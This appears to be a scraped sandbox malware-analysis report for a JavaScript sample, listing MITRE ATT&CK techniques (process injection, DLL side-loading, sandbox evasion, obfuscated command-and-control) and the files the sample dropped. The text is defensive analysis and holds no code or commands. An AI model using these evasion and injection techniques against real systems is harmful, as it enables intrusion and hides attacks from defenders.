Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 15226731132828820.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\56bedaaf-f79d-4022-8d9c-ab717343c737.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF543b89.TMP (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\eecd5360-ab51-487c-8fbf-daa02ffe7842.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Windows Analysis Report
15226731132828820.js